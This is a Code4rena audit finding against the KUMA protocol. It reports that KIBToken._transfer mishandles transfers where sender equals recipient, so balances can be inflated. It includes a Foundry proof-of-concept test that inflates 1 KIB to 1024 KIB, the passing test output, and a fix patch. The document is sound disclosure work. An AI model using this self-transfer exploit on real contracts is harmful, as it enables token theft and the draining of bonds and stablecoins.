KIBToken._transfer() did not correctly handle the case where from is the same as to

[code423n4]

Lines of code

https://github.com/code-423n4/2023-02-kuma/blob/3f3d2269fcb3437a9f00ffdd67b5029487435b95/src/kuma-protocol/KIBToken.sol#L276-L292

Vulnerability details

Impact

Hackers can obtain any number of KIB tokens out of thin air. Using the stolen KIB tokens, the hacker could steal all the bonds in the KUMASwap by calling KUMASwap.buyBond(), or steal all the deprecationStableCoin in the KUMASwap by calling KUMASwap.redeemKIBT().

Proof of Concept

KIBToken._transfer() is used to update the balances of from and to when transferring KIBToken. Its main code is as follows:

function _transfer(address from, address to, uint256 amount) internal override {
    ...
    uint256 newFromBalance = startingFromBalance - amount;
    uint256 newToBalance = this.balanceOf(to) + amount;

    uint256 previousEpochCumulativeYield_ = _previousEpochCumulativeYield;
    uint256 newFromBaseBalance = WadRayMath.wadToRay(newFromBalance).rayDiv(previousEpochCumulativeYield_);
    uint256 newToBaseBalance = WadRayMath.wadToRay(newToBalance).rayDiv(previousEpochCumulativeYield_);

    if (amount > 0) {
        _totalBaseSupply -= (_baseBalances[from] - newFromBaseBalance);
        _totalBaseSupply += (newToBaseBalance - _baseBalances[to]);
        _baseBalances[from] = newFromBaseBalance;
        _baseBalances[to] = newToBaseBalance;
    }
    ...
}

In the code, the balance of from is decreased first, and then the balance of to is increased. However, if from == to, the balance update would be wrong, because the increasing of _baseBalances[to] will overwrite the decreasing of _baseBalances[from]. It will cause the balance of from(and to) increasing only.

The following code shows how a hacker turns his 1 * 1e18 KIB into 1024 * 1e18 KIB in this way.

Test code for PoC:

diff --git a/test/kuma-protocol/kib-token/KIBToken.transfer.t.sol b/test/kuma-protocol/kib-token/KIBToken.transfer.t.sol
index 5e77aea..e35fa60 100644
--- a/test/kuma-protocol/kib-token/KIBToken.transfer.t.sol
+++ b/test/kuma-protocol/kib-token/KIBToken.transfer.t.sol
@@ -15,6 +15,29 @@ contract KIBTokenTransfer is KIBTokenSetUp {
         assertEq(_KIBToken.balanceOf(_alice), 5 ether);
     }

+    function test_transferToSelf() public {
+        address hacker = vm.addr(99);
+        // Init states: alice 100e18 KIB, hacker 1e18 KIB, total 101e18 KIB
+        _KIBToken.mint(_alice, 1023 ether);
+        _KIBToken.mint(hacker, 1 ether);
+        assertEq(_KIBToken.balanceOf(_alice), 1023 ether);
+        assertEq(_KIBToken.balanceOf(hacker), 1 ether);
+        assertEq(_KIBToken.totalSupply(), 1024 ether);
+
+        // The hacker gets KIB tokens out of thin air by transferring tokens to itself
+        vm.startPrank(hacker, hacker);
+        for (uint i; i < 10; i++) {
+            _KIBToken.transfer(hacker, _KIBToken.balanceOf(hacker));
+        }
+        vm.stopPrank();
+
+        // Check result states
+        assertEq(_KIBToken.balanceOf(_alice), 1023 ether);
+        // The hackers obtained lots of KIB tokens out of thin air
+        assertEq(_KIBToken.balanceOf(hacker), 1024 ether);
+        assertEq(_KIBToken.totalSupply(), 1024 ether);
+    }
+
     function test_transfer_MaxBalanceWithoutRefresh() public {
         _KIBToken.mint(address(this), 10 ether);
         skip(365 days);

Outputs:

forge test -m test_transferToSelf -vvv
[⠔] Compiling...
No files changed, compilation skipped

Running 1 test for test/kuma-protocol/kib-token/KIBToken.transfer.t.sol:KIBTokenTransfer
[PASS] test_transferToSelf() (gas: 532194)
Test result: ok. 1 passed; 0 failed; finished in 7.87ms

Tools Used

VS Code

Recommended Mitigation Steps

We should correctly handle the case where from and to are equal:

diff --git a/src/kuma-protocol/KIBToken.sol b/src/kuma-protocol/KIBToken.sol
index 77aaf7d..b46e5b1 100644
--- a/src/kuma-protocol/KIBToken.sol
+++ b/src/kuma-protocol/KIBToken.sol
@@ -277,6 +277,12 @@ contract KIBToken is IKIBToken, ERC20PermitUpgradeable, UUPSUpgradeable {
         if (startingFromBalance < amount) {
             revert Errors.ERC20_TRANSFER_AMOUNT_EXCEEDS_BALANCE();
         }
+
+        if (from == to) {
+            emit Transfer(from, to, amount);
+            return;
+        }
+
         uint256 newFromBalance = startingFromBalance - amount;
         uint256 newToBalance = this.balanceOf(to) + amount;

[c4-judge]

GalloDaSballo marked the issue as duplicate of #25

[c4-judge]

GalloDaSballo marked the issue as duplicate of #3

[c4-judge]

GalloDaSballo marked the issue as satisfactory